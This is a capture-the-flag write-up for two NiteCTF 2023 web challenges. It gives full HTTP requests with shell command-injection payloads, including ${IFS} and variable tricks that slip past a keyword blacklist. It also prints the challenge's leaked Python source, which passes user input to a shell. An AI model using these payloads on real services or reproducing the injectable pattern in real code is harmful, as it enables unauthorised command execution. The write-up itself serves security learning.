NiteCTF 2023

Table of Contents

Web

caas_renewed

There is a cowsay service running, it takes user input from the GET URL: /cowsay/{input}. Cleary there is a command injection vulnerability. But there are some filters and also restrictions for the input, I was able to extract the source code of the server using the following payload:

GET /cowsay/a;cd${IFS}-;cat${IFS}ma* HTTP/1.1
Host: caas.web.nitectf.live
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 2
SourceLeak.py
from fastapi import FastAPI
from fastapi.staticfiles import StaticFiles
from fastapi.responses import PlainTextResponse
import subprocess
import time
import os
from uvicorn.workers import UvicornWorker


# remove server header
# gunicorn  -k main.ServerlessUvicornWorker main:app -b "0.0.0.0:1337" --access-logfile '-'
class ServerlessUvicornWorker(UvicornWorker):
    def __init__(self, *args, **kwargs):
        self.CONFIG_KWARGS["server_header"] = False
        super().__init__(*args, **kwargs)


TIMEOUT = 5
SLEEP_TIME = 0.1
DEBUG = False

BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1]

BLACKLIST.append("/")
BLACKLIST.append("\\")
BLACKLIST.append(" ")
BLACKLIST.append("\t")
BLACKLIST.append("\n")
BLACKLIST.append("tc")

ALLOW = [
    "{",
    "}",
    "[",
    "pwd",
    "-",
    "if",
    "tac",
    "ac",
    "cd",
    "tree",
    "ls",
    "echo",
    "tee",
    "touch",
    "mkdir",
    "dir",
    "mv",
    "chmod",
    "ping",
]

for a in ALLOW:
    try:
        BLACKLIST.remove(a)
    except ValueError:
        pass


def isClean(input):
    input = input.lower().strip()
    if any(x in input for x in BLACKLIST):
        if DEBUG:
            for i in BLACKLIST:
                if i in input:
                    print("Banned reason:", i)
                    break
        return False
    return True


def timeout(proc):
    count = 0
    while proc.poll() == None:
        time.sleep(SLEEP_TIME)
        count += SLEEP_TIME
        if count > TIMEOUT:
            proc.terminate()


app = FastAPI()
api = FastAPI()

pwd = os.path.dirname(os.path.realpath(__file__))

app.mount("/cowsay", api)
#app.mount("/", StaticFiles(directory="{}/static".format(pwd), html=True))

#os.chdir("/usr/games")


@api.get("/{user_input}")
def response(user_input):
    if not isClean(user_input):
        cmd = "cowsay {}".format("'Whoops! I cannot say that'")

        p = subprocess.Popen(
            cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE
        )
        output = p.communicate()[0]

        return PlainTextResponse(output)
    else:
        cmd = "cowsay {}".format(user_input)

        p = subprocess.Popen(
            cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE
        )

        timeout(p)

        if DEBUG:
            try:
                output = "\n".join(x.decode() for x in p.communicate())
            except (UnicodeDecodeError, AttributeError):
                try:
                    output = p.communicate()[1].decode()
                except:
                    output = p.communicate()[1]

        else:
            output = p.communicate()[0].decode()

        if DEBUG:
            print("OUTPUT:", output)

        if len(output):
            return PlainTextResponse(output)

        else:
            if "denied" in output:
                cmd = "cowsay {}{}".format('"permission denied"', user_input)
            else:
                cmd = "cowsay {}{}".format(
                    '"Oops! Something went wrong. You said "', user_input
                )

            p = subprocess.Popen(
                cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE
            )

            output = p.communicate()[0]

        return PlainTextResponse(output)

Knowing the logic behind blacklisting characters now, it is easy to spin up a payload to print out the flag

  • pwd|c'u't${IFS}-c1: Get the first character of the command pwd, which is pwd
  • ban=`echo${IFS}t`: Set the variable ban to t (which is one of the blacklisted characters)
  • cat${IFS}${slash}e${ban}c${slash}cowsay${slash}f*: Print the flag.
GET /cowsay/a;slash=`pwd|c'u't${IFS}-c1`;ban=`echo${IFS}t`;cat${IFS}${slash}e${ban}c${slash}cowsay${slash}f* HTTP/1.1
Host: caas.web.nitectf.live
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 2
Flag:

HTTP/1.1 200 OK
date: Mon, 18 Dec 2023 10:04:21 GMT
content-length: 180
content-type: text/plain; charset=utf-8
Connection: close

 ___
< a >
 ---
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
nite{9wd_t0_th3_r35cu3_dp54kf_ud9j3od3w}

Eraas

Command injection in user input:

POST / HTTP/1.1
Host: eraas.web.nitectf.live
Content-Length: 34
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eraas.web.nitectf.live
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eraas.web.nitectf.live/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

user_input=1745291415|cat flag.txt

Flag: nite{b3tt3r_n0_c5p_th7n_b7d_c5p_r16ht_fh8w4d}